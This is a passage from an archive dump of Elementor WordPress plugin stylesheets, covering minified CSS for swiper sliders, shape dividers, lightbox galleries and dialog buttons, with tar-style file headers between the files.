.swiper-container ~ .swiper-pagination-fraction, .elementor-element .swiper-container ~ .swiper-pagination-custom, .elementor-element .swiper-container ~ .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-lightbox .swiper .swiper-pagination-fraction, .elementor-lightbox .swiper .swiper-pagination-custom, .elementor-lightbox .swiper .swiper-horizontal > .swiper-pagination-bullets, .elementor-lightbox .swiper .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-lightbox .swiper ~ .swiper-pagination-fraction, .elementor-lightbox .swiper ~ .swiper-pagination-custom, .elementor-lightbox .swiper ~ .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-lightbox .swiper-container .swiper-pagination-fraction, .elementor-lightbox .swiper-container .swiper-pagination-custom, .elementor-lightbox .swiper-container .swiper-horizontal > .swiper-pagination-bullets, .elementor-lightbox .swiper-container .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-lightbox .swiper-container ~ .swiper-pagination-fraction, .elementor-lightbox .swiper-container ~ .swiper-pagination-custom, .elementor-lightbox .swiper-container ~ .swiper-pagination-bullets.swiper-pagination-horizontal { bottom: 5px; } .elementor-element .swiper.swiper-cube .elementor-swiper-button, .elementor-element .swiper.swiper-cube ~ .elementor-swiper-button, .elementor-element .swiper-container.swiper-cube .elementor-swiper-button, .elementor-element .swiper-container.swiper-cube ~ .elementor-swiper-button, .elementor-lightbox .swiper.swiper-cube .elementor-swiper-button, .elementor-lightbox .swiper.swiper-cube ~ .elementor-swiper-button, .elementor-lightbox .swiper-container.swiper-cube .elementor-swiper-button, .elementor-lightbox .swiper-container.swiper-cube ~ .elementor-swiper-button { transform: translate3d(0, -50%, 1px); } .elementor-element :where(.swiper-container-horizontal) ~ .swiper-pagination-bullets, .elementor-lightbox :where(.swiper-container-horizontal) ~ .swiper-pagination-bullets { bottom: 5px; left: 0; width: 100%; } .elementor-element :where(.swiper-container-horizontal) ~ .swiper-pagination-bullets .swiper-pagination-bullet, .elementor-lightbox :where(.swiper-container-horizontal) ~ .swiper-pagination-bullets .swiper-pagination-bullet { margin: 0 var(--swiper-pagination-bullet-horizontal-gap, 4px); } .elementor-element :where(.swiper-container-horizontal) ~ .swiper-pagination-progressbar, .elementor-lightbox :where(.swiper-container-horizontal) ~ .swiper-pagination-progressbar { width: 100%; height: 4px; left: 0; top: 0; } .elementor-element.elementor-pagination-position-outside .swiper, .elementor-element.elementor-pagination-position-outside .swiper-container, .elementor-lightbox.elementor-pagination-position-outside .swiper, .elementor-lightbox.elementor-pagination-position-outside .swiper-container { padding-bottom: 30px; } .elementor-element.elementor-pagination-position-outside .swiper .elementor-swiper-button, .elementor-element.elementor-pagination-position-outside .swiper ~ .elementor-swiper-button, .elementor-element.elementor-pagination-position-outside .swiper-container .elementor-swiper-button, .elementor-element.elementor-pagination-position-outside .swiper-container ~ .elementor-swiper-button, .elementor-lightbox.elementor-pagination-position-outside .swiper .elementor-swiper-button, .elementor-lightbox.elementor-pagination-position-outside .swiper ~ .elementor-swiper-button, .elementor-lightbox.elementor-pagination-position-outside .swiper-container .elementor-swiper-button, .elementor-lightbox.elementor-pagination-position-outside .swiper-container ~ .elementor-swiper-button { top: calc(50% - 30px / 2); } .elementor-element .elementor-swiper, .elementor-lightbox .elementor-swiper { position: relative; } .elementor-element .elementor-main-swiper, .elementor-lightbox .elementor-main-swiper { position: static; } .elementor-element.elementor-arrows-position-outside .swiper, .elementor-element.elementor-arrows-position-outside .swiper-container, .elementor-lightbox.elementor-arrows-position-outside .swiper, .elementor-lightbox.elementor-arrows-position-outside .swiper-container { width: calc(100% - 60px); } .elementor-element.elementor-arrows-position-outside .swiper .elementor-swiper-button-prev, .elementor-element.elementor-arrows-position-outside .swiper ~ .elementor-swiper-button-prev, .elementor-element.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-prev, .elementor-element.elementor-arrows-position-outside .swiper-container ~ .elementor-swiper-button-prev, .elementor-lightbox.elementor-arrows-position-outside .swiper .elementor-swiper-button-prev, .elementor-lightbox.elementor-arrows-position-outside .swiper ~ .elementor-swiper-button-prev, .elementor-lightbox.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-prev, .elementor-lightbox.elementor-arrows-position-outside .swiper-container ~ .elementor-swiper-button-prev { left: 0; } .elementor-element.elementor-arrows-position-outside .swiper .elementor-swiper-button-next, .elementor-element.elementor-arrows-position-outside .swiper ~ .elementor-swiper-button-next, .elementor-element.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-next, .elementor-element.elementor-arrows-position-outside .swiper-container ~ .elementor-swiper-button-next, .elementor-lightbox.elementor-arrows-position-outside .swiper .elementor-swiper-button-next, .elementor-lightbox.elementor-arrows-position-outside .swiper ~ .elementor-swiper-button-next, .elementor-lightbox.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-next, .elementor-lightbox.elementor-arrows-position-outside .swiper-container ~ .elementor-swiper-button-next { right: 0; } /*# sourceMappingURL=e-swiper.css.map */assets/css/conditionals/shapes.min.css000064400000001205147206604650014113 0ustar00.elementor-shape{overflow:hidden;position:absolute;left:0;width:100%;line-height:0;direction:ltr}.elementor-shape-top{top:-1px}.elementor-shape-top:not([data-negative=false]) svg{z-index:-1}.elementor-shape-bottom{bottom:-1px}.elementor-shape-bottom:not([data-negative=true]) svg{z-index:-1}.elementor-shape[data-negative=false].elementor-shape-bottom,.elementor-shape[data-negative=true].elementor-shape-top{transform:rotate(180deg)}.elementor-shape svg{display:block;width:calc(100% + 1.3px);position:relative;left:50%;transform:translateX(-50%)}.elementor-shape .elementor-shape-fill{fill:#fff;transform-origin:center;transform:rotateY(0deg)}assets/css/conditionals/lightbox.min.css000064400000025320147206604650014454 0ustar00.elementor-lightbox{--lightbox-ui-color:hsla(0,0%,93.3%,0.9);--lightbox-ui-color-hover:#fff;--lightbox-text-color:var(--lightbox-ui-color);--lightbox-header-icons-size:20px;--lightbox-navigation-icons-size:25px}.elementor-lightbox:not(.elementor-popup-modal) .dialog-header,.elementor-lightbox:not(.elementor-popup-modal) .dialog-message{text-align:center}.elementor-lightbox .dialog-header{display:none}.elementor-lightbox .dialog-widget-content{background:none;box-shadow:none;width:100%;height:100%}.elementor-lightbox .dialog-message{animation-duration:.3s;height:100%}.elementor-lightbox .dialog-message.dialog-lightbox-message{padding:0}.elementor-lightbox .dialog-lightbox-close-button{cursor:pointer;position:absolute;font-size:var(--lightbox-header-icons-size);inset-inline-end:.75em;margin-top:13px;padding:.25em;z-index:2;line-height:1;display:flex}.elementor-lightbox .dialog-lightbox-close-button svg{height:1em;width:1em}.elementor-lightbox .dialog-lightbox-close-button,.elementor-lightbox .elementor-swiper-button{color:var(--lightbox-ui-color);transition:all .3s;opacity:1}.elementor-lightbox .dialog-lightbox-close-button svg,.elementor-lightbox .elementor-swiper-button svg{fill:var(--lightbox-ui-color)}.elementor-lightbox .dialog-lightbox-close-button:hover,.elementor-lightbox .elementor-swiper-button:hover{color:var(--lightbox-ui-color-hover)}.elementor-lightbox .dialog-lightbox-close-button:hover svg,.elementor-lightbox .elementor-swiper-button:hover svg{fill:var(--lightbox-ui-color-hover)}.elementor-lightbox .swiper,.elementor-lightbox .swiper-container{height:100%}.elementor-lightbox .elementor-lightbox-item{display:flex;align-items:center;justify-content:center;position:relative;padding:70px;box-sizing:border-box;height:100%;margin:auto}@media (max-width:767px){.elementor-lightbox .elementor-lightbox-item{padding:70px 0}}.elementor-lightbox .elementor-lightbox-image{max-height:100%;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-lightbox .elementor-lightbox-image,.elementor-lightbox .elementor-lightbox-image:hover{opacity:1;filter:none;border:none}.elementor-lightbox .elementor-lightbox-image{box-shadow:0 0 30px rgba(0,0,0,.3),0 0 8px -5px rgba(0,0,0,.3);border-radius:2px}.elementor-lightbox .elementor-video-container{width:100%;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-lightbox .elementor-video-container .elementor-video-landscape,.elementor-lightbox .elementor-video-container .elementor-video-portrait,.elementor-lightbox .elementor-video-container .elementor-video-square{width:100%;height:100%;margin:auto}.elementor-lightbox .elementor-video-container .elementor-video-landscape iframe,.elementor-lightbox .elementor-video-container .elementor-video-portrait iframe,.elementor-lightbox .elementor-video-container .elementor-video-square iframe{border:0;background-color:#000}.elementor-lightbox .elementor-video-container .elementor-video-landscape iframe,.elementor-lightbox .elementor-video-container .elementor-video-landscape video,.elementor-lightbox .elementor-video-container .elementor-video-portrait iframe,.elementor-lightbox .elementor-video-container .elementor-video-portrait video,.elementor-lightbox .elementor-video-container .elementor-video-square iframe,.elementor-lightbox .elementor-video-container .elementor-video-square video{aspect-ratio:var(--video-aspect-ratio,1.77777)}@supports not (aspect-ratio:1/1){.elementor-lightbox .elementor-video-container .elementor-video-landscape,.elementor-lightbox .elementor-video-container .elementor-video-portrait,.elementor-lightbox .elementor-video-container .elementor-video-square{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio, 1.77777))}.elementor-lightbox .elementor-video-container .elementor-video-landscape iframe,.elementor-lightbox .elementor-video-container .elementor-video-landscape video,.elementor-lightbox .elementor-video-container .elementor-video-portrait iframe,.elementor-lightbox .elementor-video-container .elementor-video-portrait video,.elementor-lightbox .elementor-video-container .elementor-video-square iframe,.elementor-lightbox .elementor-video-container .elementor-video-square video{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-lightbox .elementor-video-container .elementor-video-square iframe,.elementor-lightbox .elementor-video-container .elementor-video-square video{width:min(90vh,90vw);height:min(90vh,90vw)}.elementor-lightbox .elementor-video-container .elementor-video-landscape iframe,.elementor-lightbox .elementor-video-container .elementor-video-landscape video{width:100%;max-height:90vh}.elementor-lightbox .elementor-video-container .elementor-video-portrait iframe,.elementor-lightbox .elementor-video-container .elementor-video-portrait video{height:100%;max-width:90vw}@media (min-width:1025px){.elementor-lightbox .elementor-video-container .elementor-video-landscape{width:85vw;max-height:85vh}.elementor-lightbox .elementor-video-container .elementor-video-portrait{height:85vh;max-width:85vw}}@media (max-width:1024px){.elementor-lightbox .elementor-video-container .elementor-video-landscape{width:95vw;max-height:95vh}.elementor-lightbox .elementor-video-container .elementor-video-portrait{height:95vh;max-width:95vw}}.elementor-lightbox .swiper-container .elementor-swiper-button-prev,.elementor-lightbox .swiper .elementor-swiper-button-prev{left:0}.elementor-lightbox .swiper-container .elementor-swiper-button-next,.elementor-lightbox .swiper .elementor-swiper-button-next{right:0}.elementor-lightbox .swiper-container .swiper-pagination-fraction,.elementor-lightbox .swiper .swiper-pagination-fraction{width:-moz-max-content;width:max-content;color:#fff}.elementor-lightbox .elementor-swiper-button:focus{outline-width:1px}.elementor-lightbox .elementor-swiper-button-next,.elementor-lightbox .elementor-swiper-button-prev{height:100%;display:flex;align-items:center;width:15%;justify-content:center;font-size:var(--lightbox-navigation-icons-size)}@media (max-width:767px){.elementor-lightbox .elementor-swiper-button:focus{outline:none}.elementor-lightbox .elementor-swiper-button-next,.elementor-lightbox .elementor-swiper-button-prev{width:20%}.elementor-lightbox .elementor-swiper-button-next i,.elementor-lightbox .elementor-swiper-button-prev i{padding:10px;background-color:rgba(0,0,0,.5)}.elementor-lightbox .elementor-swiper-button-prev{left:0;justify-content:flex-start}.elementor-lightbox .elementor-swiper-button-next{right:0;justify-content:flex-end}}.elementor-slideshow__counter{color:currentColor;font-size:.75em;width:-moz-max-content;width:max-content}.elementor-slideshow__footer,.elementor-slideshow__header{position:absolute;left:0;width:100%;padding:15px 20px;transition:.3s}.elementor-slideshow__footer{color:var(--lightbox-text-color)}.elementor-slideshow__header{color:var(--lightbox-ui-color);display:flex;flex-direction:row-reverse;font-size:var(--lightbox-header-icons-size);padding-inline-start:1em;padding-inline-end:2.6em;top:0;align-items:center;z-index:10}.elementor-slideshow__header>i,.elementor-slideshow__header>svg{cursor:pointer;padding:.25em;margin:0 .35em}.elementor-slideshow__header>i{font-size:inherit}.elementor-slideshow__header>i:hover{color:var(--lightbox-ui-color-hover)}.elementor-slideshow__header>svg{box-sizing:content-box;fill:var(--lightbox-ui-color);height:1em;width:1em}.elementor-slideshow__header>svg:hover{fill:var(--lightbox-ui-color-hover)}.elementor-slideshow__header .elementor-slideshow__counter{margin-inline-end:auto}.elementor-slideshow__header .elementor-icon-share{z-index:5}.elementor-slideshow__share-menu{background-color:transparent;width:0;height:0;position:absolute;overflow:hidden;transition:background-color .4s}.elementor-slideshow__share-menu .elementor-slideshow__share-links a{color:#0c0d0e}.elementor-slideshow__share-links{display:block;position:absolute;min-width:200px;inset-inline-end:2.8em;top:3em;background-color:#fff;border-radius:3px;padding:14px 20px;transform:scale(0);opacity:0;transform-origin:90% 10%;transition:all .25s .1s;box-shadow:0 4px 15px rgba(0,0,0,.3)}.elementor-slideshow__share-links a{text-align:start;color:#3f444b;font-size:12px;line-height:2.5;display:block;opacity:0;transition:opacity .5s .1s}.elementor-slideshow__share-links a:hover{color:#000}.elementor-slideshow__share-links a i,.elementor-slideshow__share-links a svg{margin-inline-end:.75em}.elementor-slideshow__share-links a i{font-size:1.25em}.elementor-slideshow__share-links a svg{height:1.25em;width:1.25em}.elementor-slideshow__share-links:before{content:"";display:block;position:absolute;top:1px;inset-inline-end:.5em;border:.45em solid transparent;border-bottom-color:#fff;transform:translateY(-100%) scaleX(.7)}.elementor-slideshow__footer{bottom:0;z-index:5;position:fixed}.elementor-slideshow__description,.elementor-slideshow__title{margin:0}.elementor-slideshow__title{font-size:16px;font-weight:700}.elementor-slideshow__description{font-size:14px}.elementor-slideshow--ui-hidden .elementor-slideshow__footer,.elementor-slideshow--ui-hidden .elementor-slideshow__header{opacity:0;pointer-events:none}.elementor-slideshow--ui-hidden .elementor-swiper-button-next,.elementor-slideshow--ui-hidden .elementor-swiper-button-prev{opacity:0}.elementor-slideshow--fullscreen-mode .elementor-video-container{width:100%}.elementor-slideshow--zoom-mode .elementor-slideshow__footer,.elementor-slideshow--zoom-mode .elementor-slideshow__header{background-color:rgba(0,0,0,.5)}.elementor-slideshow--zoom-mode .elementor-swiper-button-next,.elementor-slideshow--zoom-mode .elementor-swiper-button-prev{opacity:0;pointer-events:none}.elementor-slideshow--share-mode .elementor-slideshow__share-menu{top:0;left:0;width:100vw;height:100vh;opacity:1;cursor:default;background-color:rgba(0,0,0,.5)}.elementor-slideshow--share-mode .elementor-slideshow__share-links{transform:scale(1)}.elementor-slideshow--share-mode .elementor-slideshow__share-links,.elementor-slideshow--share-mode .elementor-slideshow__share-links a{opacity:1}.elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-twitter{color:#1da1f2}.elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-facebook{color:#3b5998}.elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-pinterest{color:#bd081c}.elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-download-bold{color:#9da5ae}.elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-twitter{fill:#1da1f2}.elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-facebook{fill:#3b5998}.elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-pinterest{fill:#bd081c}.elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-download-bold{fill:#9da5ae}.elementor-slideshow--share-mode .eicon-share-arrow{z-index:2}assets/css/conditionals/dialog.min.css000064400000036132147206604650014076 0ustar00.dialog-widget-content{background-color:var(--e-a-bg-default);position:absolute;border-radius:3px;box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{line-height:1.5;box-sizing:border-box}.dialog-close-button{cursor:pointer;position:absolute;margin-block-start:15px;inset-inline-end:15px;color:var(--e-a-color-txt);font-size:15px;line-height:1;transition:var(--e-a-transition-hover)}.dialog-close-button:hover{color:var(--e-a-color-txt-hover)}.dialog-prevent-scroll{overflow:hidden;max-height:100vh}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-editor-active .elementor-popup-modal{background-color:initial}.dialog-type-alert .dialog-widget-content,.dialog-type-confirm .dialog-widget-content{margin:auto;width:400px;padding:20px}.dialog-type-alert .dialog-header,.dialog-type-confirm .dialog-header{font-size:15px;font-weight:500}.dialog-type-alert .dialog-header:after,.dialog-type-confirm .dialog-header:after{content:"";display:block;border-block-end:var(--e-a-border);padding-block-end:10px;margin-block-end:10px;margin-inline-start:-20px;margin-inline-end:-20px}.dialog-type-alert .dialog-message,.dialog-type-confirm .dialog-message{min-height:50px}.dialog-type-alert .dialog-buttons-wrapper,.dialog-type-confirm .dialog-buttons-wrapper{padding-block-start:10px;display:flex;justify-content:flex-end;gap:15px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{border:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active{background-color:var(--e-a-btn-bg-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]),.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]){cursor:pointer}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon{display:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper 